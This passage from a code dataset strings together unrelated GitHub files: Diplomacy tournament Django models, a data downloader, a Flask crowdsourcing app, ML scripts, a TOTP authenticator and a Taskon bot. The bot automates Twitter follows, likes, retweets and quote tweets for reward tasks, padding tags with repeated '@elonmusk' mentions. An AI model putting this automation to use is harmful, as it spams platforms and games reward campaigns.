self.game.the_round.tournament.best_country_criterion == BestCountryCriteria.SCORE:\n gp = gps.order_by('-score').first()\n if gp.score > self.score:\n return False\n if (gp.score == self.score) and (gp.final_sc_count() > self.final_sc_count()):\n return False\n else:\n gp = sorted(gps, key=lambda gp: gp.final_sc_count(), reverse=True)[0]\n gp_dots = gp.final_sc_count()\n self_dots = self.final_sc_count()\n if gp_dots > self_dots:\n return False\n if (gp_dots == self_dots) and (gp.score > self.score):\n return False\n return True\n\n def roundplayer(self):\n \"\"\"\n Returns the RoundPlayer corresponding to this GamePlayer.\n \"\"\"\n return self.player.roundplayer_set.get(the_round=self.game.the_round)\n\n def tournamentplayer(self):\n \"\"\"\n Returns the TournamentPlayer corresponding to this GamePlayer.\n \"\"\"\n return self.player.tournamentplayer_set.get(tournament=self.game.the_round.tournament)\n\n def preferences(self):\n \"\"\"\n Returns the current Preferences for this player, if any,\n ordered highest-to-lowest.\n \"\"\"\n return self.tournamentplayer().preference_set.all()\n\n def elimination_year(self):\n \"\"\"\n Year in which the player was eliminated, or None.\n \"\"\"\n sc = self.game.centrecount_set.filter(power=self.power).filter(count=0).order_by('year').first()\n if not sc:\n return None\n return sc.year\n\n def final_sc_count(self):\n \"\"\"\n Number of SupplyCentres held at the end of the Game, or currently if the Game is still ongoing.\n \"\"\"\n game = self.game\n final_year = game.final_year()\n return game.centrecount_set.filter(year__lte=final_year,\n power=self.power).last().count\n\n def set_power_from_prefs(self):\n \"\"\"\n Set the power attribute from the highest-ranked unassigned power\n in the player's priority list for the tournament.\n \"\"\"\n prefs = self.preferences()\n gps = self.game.gameplayer_set.all()\n for p in prefs:\n if gps.filter(power=p.power).exists():\n # This power is already taken - on to the next\n continue\n # Found a power that isn't taken\n self.power = p.power\n break\n if self.power is None:\n # No preferences left, so pick a power at random from the unassigned ones\n used_powers = [gp.power for gp in gps.filter(power__isnull=False)]\n free_powers = list(GreatPower.objects.all())\n for p in used_powers:\n free_powers.remove(p)\n random.shuffle(free_powers)\n self.power = free_powers[0]\n assert self.power is not None\n self.save()\n\n def result_str_long(self):\n \"\"\"\n Wrapper for result_str with both parameters set to True,\n for use by template code.\n Returned string includes an HTML
link to the game details page,\n so use the safe filter.\n \"\"\"\n return self.result_str(include_power=True, include_game_name=True)\n\n def result_str(self, include_power=False, include_game_name=False):\n \"\"\"\n Return the result of the Game from this GamePlayer's perspective.\n If the Game is ongoing, this will be the result if the game ended now.\n Returned string includes an HTML link to the game details page,\n if include_game_name=True.\n \"\"\"\n if not self.power:\n return ''\n g = self.game\n cc_set = g.centrecount_set.all()\n power_cc_set = cc_set.filter(power=self.power)\n # Final CentreCount for this player in this game\n final_sc = power_cc_set.order_by('-year').first()\n if final_sc.count == 0:\n # We need to look back to find the first CentreCount with no dots\n final_sc = power_cc_set.filter(count=0).order_by('year').first()\n if include_power:\n gs = _('Eliminated as %(power)s in %(year)d') % {'year': final_sc.year,\n 'power': _(self.power.name)}\n else:\n gs = _('Eliminated in %(year)d') % {'year': final_sc.year}\n else:\n # Final year of the game as a whole\n final_year = cc_set.order_by('-year').first().year\n # Was the game soloed ?\n soloer = g.soloer()\n if self == soloer:\n if include_power:\n gs = ngettext('Solo as %(power)s with %(dots)d centre in %(year)d',\n 'Solo as %(power)s with %(dots)d centres in %(year)d',\n final_sc.count) % {'year': final_year,\n 'power': _(self.power.name),\n 'dots': final_sc.count}\n else:\n gs = ngettext('Solo with %(dots)d centre in %(year)d',\n 'Solo with %(dots)d centres in %(year)d',\n final_sc.count) % {'year': final_year,\n 'dots': final_sc.count}\n elif soloer is not None:\n if include_power:\n gs = ngettext('Loss as %(power)s with %(dots)d centre in %(year)d',\n 'Loss as %(power)s with %(dots)d centres in %(year)d',\n final_sc.count) % {'year': final_sc.year,\n 'power': _(self.power.name),\n 'dots': final_sc.count}\n else:\n gs = ngettext('Loss with %(dots)d centre in %(year)d',\n 'Loss with %(dots)d centres in %(year)d',\n final_sc.count) % {'year': final_sc.year,\n 'dots': final_sc.count}\n else:\n # Did a draw vote pass ?\n res = g.passed_draw()\n if res:\n if self.power in res.powers():\n if include_power:\n gs = ngettext('%(n)d-way draw as %(power)s with %(dots)d centre in %(year)d',\n '%(n)d-way draw as %(power)s with %(dots)d centres in %(year)d',\n final_sc.count) % {'n': res.draw_size(),\n 'power': _(self.power.name),\n 'dots': final_sc.count,\n 'year': final_year}\n else:\n gs = ngettext('%(n)d-way draw with %(dots)d centre in %(year)d',\n '%(n)d-way draw with %(dots)d centres in %(year)d',\n final_sc.count) % {'n': res.draw_size(),\n 'dots': final_sc.count,\n 'year': final_year}\n else:\n if include_power:\n gs = ngettext('Loss as %(power)s with %(dots)d centre in %(year)d',\n 'Loss as %(power)s with %(dots)d centres in %(year)d',\n final_sc.count) % {'year': final_sc.year,\n 'power': _(self.power.name),\n 'dots': final_sc.count}\n else:\n gs = ngettext('Loss with %(dots)d centre in %(year)d',\n 'Loss with %(dots)d centres in %(year)d',\n final_sc.count) % {'year': final_sc.year,\n 'dots': final_sc.count}\n else:\n # Game is either ongoing or reached a timed end\n # Is this power topping the board?\n final_sc_set = cc_set.filter(year=final_sc.year).order_by('-count')\n topper_dots = final_sc_set.first().count\n if final_sc.count == topper_dots:\n topper_count = final_sc_set.filter(count=topper_dots).count()\n topper_str = ngettext(' (board top)',\n ' (%(n)d-way tied board top)',\n topper_count) % {'n': topper_count}\n else:\n topper_str = ''\n if include_power:\n gs = ngettext('%(dots)d centre%(topper)s as %(power)s in %(year)d',\n '%(dots)d centres%(topper)s as %(power)s in %(year)d',\n final_sc.count) % {'year': final_sc.year,\n 'power': _(self.power.name),\n 'topper': topper_str,\n 'dots': final_sc.count}\n else:\n gs = ngettext('%(dots)d centre%(topper)s in %(year)d',\n '%(dots)d centres%(topper)s in %(year)d',\n final_sc.count) % {'year': final_sc.year,\n 'topper': topper_str,\n 'dots': final_sc.count}\n # game name and link\n if include_game_name:\n gs += _(' in %(game)s') % {'game': g.name,\n 'url': g.get_absolute_url()}\n # Additional info\n if g.is_top_board:\n gs += _(' [Top Board]')\n if not g.is_finished:\n gs += _(' [Ongoing]')\n return gs\n\n def clean(self):\n \"\"\"\n Validate the object.\n There must already be a corresponding TournamentPlayer.\n \"\"\"\n # Player should already be in the tournament\n t = self.game.the_round.tournament\n if not self.player.tournamentplayer_set.filter(tournament=t).exists():\n raise ValidationError(_(u'Player is not yet in the tournament'))\n\n def __str__(self):\n if self.power:\n return _('%(player)s as %(power)s in %(game)s') % {'game': self.game,\n 'player': self.player,\n 'power': self.power}\n return _('%(player)s in %(game)s Power TBD') % {'game': self.game,\n 'player': self.player}\n\n def get_aar_url(self):\n \"\"\"Returns the canonical URL for the object.\"\"\"\n return reverse('aar', args=[str(self.game.the_round.tournament.id),\n self.game.name,\n self.player.id])\n\n\nclass GameImage(models.Model):\n \"\"\"\n An image depicting a Game at a certain point.\n The year, season, and phase together indicate the phase that is about to\n be played.\n \"\"\"\n game = models.ForeignKey(Game, on_delete=models.CASCADE)\n year = models.PositiveSmallIntegerField(validators=[validate_year])\n season = models.CharField(max_length=1, choices=Seasons.choices, default=Seasons.SPRING)\n phase = models.CharField(max_length=1, choices=Phases.choices, default=Phases.MOVEMENT)\n image = models.ImageField(upload_to=game_image_location)\n\n class Meta:\n constraints = [\n models.CheckConstraint(check=Q(year__gte=FIRST_YEAR),\n name='%(class)s_year_valid'),\n models.CheckConstraint(check=Q(season__in=Seasons.values),\n name='%(class)s_season_valid'),\n models.CheckConstraint(check=Q(phase__in=Phases.values),\n name='%(class)s_phase_valid'),\n models.UniqueConstraint(fields=['game', 'year', 'season', 'phase'],\n name='unique_game_year_season_phase'),\n ]\n ordering = ['game', 'year', '-season', 'phase']\n\n def turn_str(self):\n \"\"\"\n Short string version of season/year/phase\n e.g. 'S1901M'\n \"\"\"\n return u'%s%d%s' % (self.season, self.year, PHASE_STR[self.phase])\n\n def clean(self):\n \"\"\"\n Validate the object.\n The phase attribute can only be set to ADJUSTMENTS when the season\n attribute is set to FALL.\n \"\"\"\n if self.season == Seasons.SPRING and self.phase == Phases.ADJUSTMENTS:\n raise ValidationError(_(u'No adjustment phase in spring'))\n\n def get_absolute_url(self):\n \"\"\"Returns the canonical URL for the object.\"\"\"\n return reverse('game_image', args=[str(self.game.the_round.tournament.id),\n self.game.name,\n self.turn_str()])\n\n def __str__(self):\n return _(u'%(game)s %(turn)s image') % {'game': self.game,\n 'turn': self.turn_str()}\n\n\nclass CentreCount(models.Model):\n \"\"\"\n The number of centres owned by one power at the end of a given game year\n \"\"\"\n power = models.ForeignKey(GreatPower, related_name='+', on_delete=models.CASCADE)\n game = models.ForeignKey(Game, on_delete=models.CASCADE)\n year = models.PositiveSmallIntegerField(validators=[validate_year_including_start])\n count = models.PositiveSmallIntegerField(validators=[validate_sc_count])\n\n class Meta:\n constraints = [\n models.CheckConstraint(check=Q(year__gte=FIRST_YEAR-1),\n name='%(class)s_year_valid'),\n models.CheckConstraint(check=Q(count__lte=TOTAL_SCS),\n name='%(class)s_count_valid'),\n models.UniqueConstraint(fields=['power', 'game', 'year'],\n name='unique_power_game_year'),\n ]\n ordering = ['game', 'year']\n\n def clean(self):\n \"\"\"\n Validate the object.\n The year attribute must pre-date the Round's final_year attribute,\n if any.\n The count attribute cannot be more than double that for the same power\n in the previous year.\n If the count for this power for any preivous year was zero,\n the count attribute must be zero.\n \"\"\"\n # Is this for a year that is supposed to be played ?\n final_year = self.game.the_round.final_year\n if final_year and self.year > final_year:\n raise ValidationError(_(u'Games in this round end with %(year)d'),\n params={'year': final_year})\n # Not possible to more than double your count in one year\n # or to recover from an elimination\n try:\n prev = CentreCount.objects.get(power=self.power,\n game=self.game,\n year=self.year - 1)\n except CentreCount.DoesNotExist:\n # We're either missing a year, or this is the first year - let that go\n return\n if (prev.count == 0) and (self.count > 0):\n raise ValidationError(_(u'SC count for a power cannot increase from zero'))\n if self.count > 2 * prev.count:\n raise ValidationError(_(u'SC count for a power cannot more than double in a year'))\n\n def __str__(self):\n return u'%(game)s %(year)d %(power)s' % {'game': self.game,\n 'year': self.year,\n 'power': _(self.power.abbreviation)}\n","repo_name":"UEWBot/dipvis","sub_path":"visualiser/tournament/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":102121,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"11"} +{"seq_id":"8817233726","text":"import os\nimport wget\nimport py7zr\nimport shutil\n\nfrom .data_set import DataSet\nfrom utils.utils import Mailbox\n\n\nclass DataRepository:\n def __init__(self, _data_sources=None, _data_directory=\"../../data\", _caching=False):\n self.data_sources = _data_sources\n self.data_sets = []\n\n self.data_directory = _data_directory\n self.caching = _caching\n\n # clean data_directory if caching disabled\n if not self.caching and os.path.exists(self.data_directory):\n shutil.rmtree(self.data_directory)\n Mailbox.debug(\"deleted data dir\")\n\n try:\n os.mkdir(self.data_directory)\n Mailbox.debug(\"created data dir\")\n except FileExistsError:\n pass\n\n def load_archive(self, url, dirname):\n download_path = f\"{self.data_directory}/{dirname}\"\n download_archive = f\"{self.data_directory}/{dirname}/{dirname}.7z\"\n\n # if the archive is downloaded and caching is enabled, skip downloading\n if self.caching and \\\n os.path.exists(download_path) and \\\n os.path.exists(os.path.join(download_path, \"Comments.xml\")) and \\\n os.path.exists(os.path.join(download_path, \"PostHistory.xml\")) and \\\n os.path.exists(os.path.join(download_path, \"PostLinks.xml\")) and \\\n os.path.exists(os.path.join(download_path, \"Tags.xml\")) and \\\n os.path.exists(os.path.join(download_path, \"Votes.xml\")) and \\\n os.path.exists(os.path.join(download_path, \"Badges.xml\")) and \\\n os.path.exists(os.path.join(download_path, \"Users.xml\")) and \\\n os.path.exists(os.path.join(download_path, \"Posts.xml\")):\n Mailbox.debug(f\"found cached data for set: {dirname}\")\n return\n\n # remove potential old files\n if os.path.exists(download_path):\n shutil.rmtree(download_path)\n Mailbox.debug(f\"removed dir {download_path}\")\n\n try:\n os.mkdir(download_path)\n Mailbox.debug(f\"created dir {download_path}\")\n except FileExistsError:\n pass\n\n # download archive to data directory\n filename = wget.download(url=url, out=download_archive, bar=Mailbox.bar_progress)\n Mailbox.debug(f\"downloaded archive {filename}\")\n\n # extract archive\n archive = py7zr.SevenZipFile(filename, mode='r')\n archive.extractall(path=download_path)\n archive.close()\n Mailbox.debug(f\"unpacked archive {filename}\")\n\n # delete archive\n if not self.caching:\n os.remove(filename)\n Mailbox.debug(f\"remove archive {filename}\")\n\n def load_data(self, url, dirname):\n self.load_archive(url, dirname)\n\n data_set = DataSet(_data_directory=f\"{self.data_directory}/{dirname}\", _caching=self.caching)\n Mailbox.debug(f\"created data set for {dirname}\")\n return data_set\n\n def load_data_sets(self):\n for t in self.data_sources:\n data_set = self.load_data(t.get(\"url\", None), t.get(\"dirname\", None))\n self.data_sets.append(data_set)\n","repo_name":"Brotholomew/DataAnalysis","sub_path":"data_analysis/dbo/data_repository.py","file_name":"data_repository.py","file_ext":"py","file_size_in_byte":3143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72148928668","text":"from flask import Flask, render_template, request\nimport json\nimport csv\nimport random\nfrom os import path\n\napp = Flask(__name__)\n\n# load combat_text.csv into memory\nhits = []\nwith open(\"../data/combat_text.csv\") as file:\n csv_in = csv.reader(\n file,\n delimiter=\",\",\n )\n for row in csv_in:\n hits.append(row[1])\n hits = hits[1:]\n\n# create response file with header if does not already exist\nif not path.exists(\"responses.csv\"):\n with open(\"responses.csv\", \"a\") as file:\n file.write(\"WorkerId,Input.prompt,Answer.answer\\n\")\n\n\n@app.route(\"/\")\ndef index():\n return render_template(\"hit.html\")\n\n\n@app.route(\"/hit\", methods=[\"GET\"])\ndef get_hit():\n return random.choice(hits)\n\n\n@app.route(\"/hit\", methods=[\"POST\"])\ndef save_hit():\n worker_id = request.form[\"name\"]\n text = request.form[\"text\"]\n actions = request.form[\"actions\"]\n with open(\"responses.csv\", \"a\") as file:\n csv_out = csv.writer(\n file, delimiter=\",\", quotechar=\"`\", quoting=csv.QUOTE_ALL\n )\n csv_out.writerow([worker_id, text, actions])\n\n return json.dumps({\"success\": True}), 200, {\"ContentType\": \"application/json\"}\n\n\n@app.route(\"/responses\", methods=[\"GET\"])\ndef view_responses():\n response = \"\".format(\n \"WorkerId\", \"Input.prompt\", \"Answer.answer\"\n )\n with open(\"responses.csv\", \"r\") as file:\n csv_in = csv.reader(\n file, delimiter=\",\", quotechar=\"`\", quoting=csv.QUOTE_ALL\n )\n next(csv_in)\n for row in csv_in:\n print(row[2])\n response += \"\".format(\n row[0], row[1], row[2]\n )\n\n response += \"
{}{}{}
{}{}{}
\"\n\n return response","repo_name":"kelmp/nets213-final","sub_path":"public-hit/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"73441341146","text":"from pathlib import Path\nimport numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import FunctionTransformer, OrdinalEncoder\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.linear_model import Ridge\nfrom sklearn.ensemble import HistGradientBoostingRegressor\nfrom catboost import CatBoostRegressor\nimport lightgbm as lgb\n\n\n\ndef _encode_dates(X): # features engineering there\n X = X.copy() # modify a copy of X\n # Encode the date information from the DateOfDeparture columns\n X.loc[:, \"year\"] = X[\"date\"].dt.year\n X.loc[:, \"month\"] = X[\"date\"].dt.month\n X.loc[:, \"month_sin\"] = np.sin(X[\"date\"].dt.month * 2 * np.pi / 12)\n X.loc[:, \"month_cos\"] = np.cos(X[\"date\"].dt.month * 2 * np.pi / 12)\n X.loc[:, \"day\"] = X[\"date\"].dt.day\n X.loc[:, \"weekday\"] = X[\"date\"].dt.weekday\n X.loc[:, \"weekday_sin\"] = np.sin(X[\"date\"].dt.weekday * 2 * np.pi / 7)\n X.loc[:, \"weekday_cos\"] = np.cos(X[\"date\"].dt.weekday * 2 * np.pi / 7)\n X.loc[:, \"hour\"] = X[\"date\"].dt.hour\n X.loc[:, \"hour_sin\"] = np.sin(X[\"date\"].dt.hour * 2 * np.pi / 24)\n X.loc[:, \"hour_cos\"] = np.cos(X[\"date\"].dt.hour * 2 * np.pi / 24)\n\n\n # Finally we can drop the original columns from the dataframe\n return X.drop(columns=[\"date\"])\n\n\ndef _merge_external_data(X):\n file_path = Path(__file__).parent / 'external_data.csv'\n df_ext = pd.read_csv(file_path, parse_dates=['date'])\n \n X = X.copy()\n # When using merge_asof left frame need to be sorted\n X['orig_index'] = np.arange(X.shape[0])\n X = pd.merge_asof(X.sort_values('date'), df_ext[['date', 't', 'u', 'rr1', 'n', 'lockdown', 'ferie', 'curfew', 'vacances', 'rush_hour']].sort_values('date'), on='date') # and all the things you want to add after the 't' and then yeah\n # Sort back to the original order\n X = X.sort_values('orig_index')\n del X['orig_index']\n return X\n\n\n\ndef get_estimator():\n date_encoder = FunctionTransformer(_encode_dates)\n date_cols = ['year', 'month_sin', 'day', 'weekday_sin', 'hour_sin', 'month_cos', 'weekday_cos', 'hour_cos']\n\n categorical_encoder = OrdinalEncoder(handle_unknown='use_encoded_value', unknown_value=-1)\n categorical_cols = [\"counter_name\", \"site_name\"]\n\n numeric_cols = ['t', 'u', 'rr1', 'n', 'lockdown', 'ferie', 'curfew', 'vacances', 'rush_hour' ]\n\n preprocessor = ColumnTransformer([\n ('date', \"passthrough\", date_cols),\n ('cat', OrdinalEncoder(handle_unknown='use_encoded_value', unknown_value=-1), categorical_cols),\n ('numeric', 'passthrough', numeric_cols)\n ])\n\n regressor = lgb.LGBMRegressor(learning_rate=0.1, n_estimators=900, max_depth=8, min_child_weight=2, subsample=0.8, colsample_bytree=0.8,\n n_jobs=4, random_state=42)\n\n pipe = make_pipeline(\n FunctionTransformer(_merge_external_data, validate=False),\n date_encoder,\n preprocessor,\n regressor\n )\n\n return pipe\n","repo_name":"hermitra/ramp-bikeprediction","sub_path":"bike_counters/submissions/external_data/estimator.py","file_name":"estimator.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"21525406947","text":"from joblib import load\nimport numpy as np\nfrom keras.models import load_model\nfrom sklearn.preprocessing import MinMaxScaler\n\nfrom utils.prepare_data import prepare_data\n\n\ndef predict(file, lag_data, scaler1=None):\n if file.split('.')[-1] == 'joblib':\n model = load(file)\n res = model.predict(lag_data)\n else:\n model = load_model(file)\n scaler = load(scaler1)\n p = model.predict(lag_data)[0]\n p = [[float(i)] for i in p]\n p = np.array(p, dtype='float64')\n res = scaler.inverse_transform(p)\n print(res)\n\n return res\n\n\ndef main():\n stock = input()\n lag_data = input().split(',')\n lag_data = [float(i) for i in lag_data]\n scaler = input()\n print(predict(stock, [lag_data]))\n\nif __name__ == \"__main__\":\n main()\n\n\n","repo_name":"CoderN-P/AI-Stocks","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"15458967466","text":"import binascii\nimport hashlib\nimport random\nimport time\nimport hmac\nimport datetime\nfrom qrcode import make\nfrom base64 import b32decode\nfrom pyauthy import backupcodes\n\n\nclass totp:\n def __init__(self,\n key: str = 0,\n issuer: str = 'JoshuaH',\n username: str = 'joshua.himmens@icloud.com',\n used_backup_codes: list = None,\n unused_backup_codes: list = None):\n \"\"\"\n :param key:\n :param issuer:\n :param username:\n :param used_backup_codes:\n :param unused_backup_codes:\n \"\"\"\n if key == 0:\n self.gentotpkey()\n else:\n self.key = key\n self.digits = 6\n self.period = 30\n self.issuer = issuer\n self.user = username\n self.digest = hashlib.sha1\n self.backup = backupcodes(unused_backup_codes, used_backup_codes)\n\n def check_otp(self, given: str or int) -> bool:\n \"\"\"\n :param given:\n :return:\n \"\"\"\n given = str(given)\n if given in self.genthree:\n return True\n elif self.backup.check_code(given):\n return True\n else:\n return False\n\n def setup(self) -> list[str, list[str]]:\n # todo: Fix this thing\n return [self.key, self.backup.unused_codes]\n\n @property\n def getkey(self) -> str:\n \"\"\"\n :return:\n \"\"\"\n return self.key\n\n @property\n def genthree(self) -> list:\n \"\"\"\n :return:\n \"\"\"\n return [self.generate_otp(-1), self.generate_otp(), self.generate_otp(1)]\n\n def gentotpkey(self):\n \"\"\"\n :return: returns the TOTP key AKA the secret\n \"\"\"\n choices = list('234567ABCDEFGHIJKLMNOPQRSTUVWXYZ')\n key = ''.join(random.choice(choices) for _ in range(32))\n self.key = key\n return self.key\n\n def qrcode(self, filename: str = 'QR_code.png') -> str:\n \"\"\"\n :return:\n \"\"\"\n if not filename.endswith('.png'):\n filename += '.png'\n p = make(self.link)\n p.save(filename) # save png QR code\n return self.link\n\n @property\n def link(self) -> str:\n \"\"\"\n :return:\n \"\"\"\n return f'otpauth://totp/{self.user}?secret={self.key}&issuer={self.issuer}' \\\n f'&algorithm=SHA1&digits={self.digits}&period={self.period}'\n\n @property\n def count(self) -> int:\n \"\"\"\n :return:\n \"\"\"\n return int(time.mktime(datetime.datetime.now().timetuple()) // self.period)\n\n def generate_otp(self, offset: int = 0) -> str:\n \"\"\"\n :param offset:\n :return:\n \"\"\"\n hasher = hmac.new(self.byte_secret(), self.int_to_bytestring(offset=offset), self.digest)\n hmac_hash = bytearray(hasher.digest())\n offset = hmac_hash[-1] & 0xf\n code = ((hmac_hash[offset] & 0x7f) << 24 |\n (hmac_hash[offset + 1] & 0xff) << 16 |\n (hmac_hash[offset + 2] & 0xff) << 8 |\n (hmac_hash[offset + 3] & 0xff))\n str_code = str(code % 10 ** self.digits)\n while len(str_code) < self.digits:\n str_code = '0' + str_code\n return str_code\n\n def byte_secret(self):\n \"\"\"\n :return:\n \"\"\"\n secret = self.key\n missing_padding = len(self.key) % 8\n if missing_padding != 0:\n secret += '=' * (8 - missing_padding)\n try:\n return b32decode(secret, casefold=True)\n except binascii.Error:\n raise KeyError\n\n def int_to_bytestring(self, offset: int = 0, padding: int = 8) -> bytes:\n \"\"\"\n :param offset: the offset argument changes what the count will be used when calculating the TOTP code.\n for example if you set it to one it will find the next code and -1 will find the last one; no matter\n what the period of each code is\n :param padding: determines the total number of bytes that are returned\n :return: returns the byte representation of the count plus the offset\n \"\"\"\n return (self.count + offset).to_bytes(padding, 'big')\n","repo_name":"Joshuah143/pyauthy","sub_path":"pyauthy/totp_handler.py","file_name":"totp_handler.py","file_ext":"py","file_size_in_byte":4180,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"42404256392","text":"from turtle import Turtle\n\nt = Turtle()\nt.color(\"#009681\")\nt.pensize(5) # 선굵기\nt.shape(\"turtle\")\n\ndef moveTurtle() :\n direction = input(\"진행 방향 입력(Left:L 또는 Right:R) >> \")\n angle = int(input(\"각도 입력(정수) >>\"))\n length = int(input('거리 입력(정수) >>'))\n\n t.left(angle) if direction == \"L\" else t.right(angle)\n t.forward(length)\n\n\nfor i in range(5) : # 최대 5번까지 진행가능\n moveTurtle()\n\ninput('Press any key to continue ...')","repo_name":"jjun-panda/JunPython","sub_path":"book/ch09_module/ch09_pre_example.py","file_name":"ch09_pre_example.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"41084388976","text":"import json\nfrom typing import Callable\n\nimport aiohttp\nfrom better_automation.twitter.errors import HTTPException\n\nfrom bot.logger import logger\nfrom bot.taskon import TaskonAccount, TaskonAPI\nfrom bot.taskon.models import TaskInfo\nfrom .auth import authenticated_twitter\nfrom .user import _request_and_set_user_info\n\n\nasync def follow_twitter(\n session: aiohttp.ClientSession,\n account: TaskonAccount,\n task_params: dict,\n):\n async with authenticated_twitter(session, account) as twitter:\n user_id = task_params[\"user_to_follow_id\"]\n username = task_params[\"user_to_follow\"]\n await twitter.follow(user_id)\n logger.debug(f\"{account} (user_id={user_id}) Followed user @{username}\")\n\n\nasync def like_tweet(\n session: aiohttp.ClientSession,\n account: TaskonAccount,\n task_params: dict,\n):\n async with authenticated_twitter(session, account) as twitter:\n tweet_id = task_params[\"tweet_id\"]\n tweet_link = task_params[\"twitter_link\"]\n await twitter.like(tweet_id)\n logger.debug(f\"{account} (tweet_id={tweet_id}) Liked tweet {tweet_link}\")\n\n\nasync def retweet_tweet(\n session: aiohttp.ClientSession,\n account: TaskonAccount,\n task_params: dict,\n):\n async with authenticated_twitter(session, account) as twitter:\n tweet_id = task_params[\"tweet_id\"]\n retweet_of = task_params[\"retweet_of\"]\n project_name = task_params[\"project_name\"]\n try:\n await twitter.repost(tweet_id)\n except HTTPException as e:\n if 327 in e.api_codes:\n pass\n else:\n raise\n logger.debug(f\"{account} (tweet_id={tweet_id}) Retweeted tweet of user @{retweet_of}\")\n\n\nasync def quote_tweet_with_friends_tags(\n session: aiohttp.ClientSession,\n account: TaskonAccount,\n task_params: dict,\n):\n async with authenticated_twitter(session, account) as twitter:\n tweet_id = task_params[\"tweet_id\"]\n tags_users = task_params[\"tags_users\"]\n friends_count = task_params[\"friends_count\"]\n twitter_handle = task_params[\"twitter_handle\"]\n text = \" \".join([\"@elonmusk\" for _ in range(friends_count)])\n tweet_url = f'https://twitter.com/{twitter_handle}/status/{tweet_id}'\n try:\n await twitter.quote(tweet_url, text)\n except HTTPException as e:\n if 327 in e.api_codes:\n pass\n else:\n raise\n logger.debug(f\"{account} (tweet_id={tweet_id}) Quoted tweet of user @{twitter_handle} with text: '{text}'\")\n\n\nasync def quote_tweet_with_hashtags(\n session: aiohttp.ClientSession,\n account: TaskonAccount,\n task_params: dict,\n):\n async with authenticated_twitter(session, account) as twitter:\n tweet_id = task_params[\"tweet_id\"]\n twitter_handle = task_params[\"twitter_handle\"]\n hashtags = task_params[\"hash_tag\"]\n text = \" \".join([f\"#{hashtag}\" for hashtag in hashtags.split(',')])\n tweet_url = f'https://twitter.com/{twitter_handle}/status/{tweet_id}'\n try:\n await twitter.quote(tweet_url, text)\n except HTTPException as e:\n if 327 in e.api_codes:\n pass\n else:\n raise\n logger.debug(f\"{account} (tweet_id={tweet_id}) Quoted tweet of user @{twitter_handle} with text: '{text}'\")\n\n\nclass TaskSolver:\n def __init__(\n self,\n template_id: str,\n solver: Callable or None,\n twitter_is_required: bool = False,\n discord_is_required: bool = False,\n ):\n self.template_id = template_id\n self._solver = solver\n self.twitter_is_required = twitter_is_required\n self.discord_is_required = discord_is_required\n\n async def solve(\n self,\n session: aiohttp.ClientSession,\n taskon: TaskonAPI,\n account: TaskonAccount,\n task_info: TaskInfo,\n ) -> str | None:\n if self._solver is None:\n return\n\n task_params = json.loads(task_info.params)\n\n if not account.user_info:\n await _request_and_set_user_info(taskon, account)\n\n await self._solver(session, account, task_params)\n\n\nTEMPLATE_ID_TO_TASK_SOLVER = {\n 'FollowTwitter': TaskSolver('FollowTwitter', follow_twitter, twitter_is_required=True),\n 'RetweetTwitter': TaskSolver('RetweetTwitter', retweet_tweet, twitter_is_required=True),\n 'QuoteTweetAndTag': TaskSolver('QuoteTweetAndTag', quote_tweet_with_friends_tags, twitter_is_required=True),\n 'QuoteTweetAndHashTag': TaskSolver('QuoteTweetAndHashTag', quote_tweet_with_hashtags, twitter_is_required=True),\n 'LikeATweet': TaskSolver('LikeATweet', like_tweet, twitter_is_required=True),\n 'JoinDiscord': TaskSolver('JoinDiscord', None, discord_is_required=True),\n 'PowTask': TaskSolver('PowTask', None),\n 'PowQa': TaskSolver('PowQa', None),\n 'PowQaWithAnswer': TaskSolver('PowQaWithAnswer', None),\n 'LinkTask': TaskSolver('LinkTask', None),\n 'JoinTelegram': TaskSolver('JoinTelegram', None),\n 'OuterAPI': TaskSolver('OuterAPI', None),\n 'Youtube': TaskSolver('Youtube', None),\n 'QuizChoose': TaskSolver('QuizChoose', None),\n 'SurveyChoose': TaskSolver('SurveyChoose', None),\n 'TokenBalance': TaskSolver('TokenBalance', None),\n 'NftHolder': TaskSolver('NftHolder', None),\n}\n","repo_name":"alenkimov/taskon","sub_path":"bot/taskon/scripts/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":5454,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"12948126848","text":"# django imports\nfrom django.core.urlresolvers import reverse\nfrom django.shortcuts import get_object_or_404\nfrom django.views.generic import ListView, CreateView, UpdateView, \\\n DeleteView\nfrom django.views.generic.detail import DetailView\n\n# app imports\nfrom songs_artists.mixins import CancelButtonMixin\nfrom songs_artists.models import Band, Lyrics\n\n\n# Artists\nclass BandsListView(ListView):\n \"\"\"Main page view\"\"\"\n template_name = 'main_page.html'\n model = Band\n context_object_name = 'bands_list'\n paginate_by = 6\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['bands_range'] = range(context[\"paginator\"].num_pages)\n return context\n\n\nclass SongsListView(ListView):\n \"\"\"Dynamic filtering\"\"\"\n template_name = 'band.html'\n context_object_name = 'song_list'\n\n def get_queryset(self):\n self.artist = get_object_or_404(Band, id=self.kwargs['pk'])\n return Lyrics.objects.filter(artist=self.artist)\n\n def get_context_data(self, **kwargs):\n # Call the base implementation first to get a context\n context = super().get_context_data(**kwargs)\n # Add in the artist\n context['artist'] = self.artist\n return context\n\n\nclass ArtistsCreateView(CancelButtonMixin, CreateView):\n \"\"\"Creating an artist\"\"\"\n template_name = 'add_artist.html'\n model = Band\n fields = '__all__'\n\n def get_success_url(self):\n return reverse('home')\n\n\nclass ArtistsUpdateView(CancelButtonMixin, UpdateView):\n 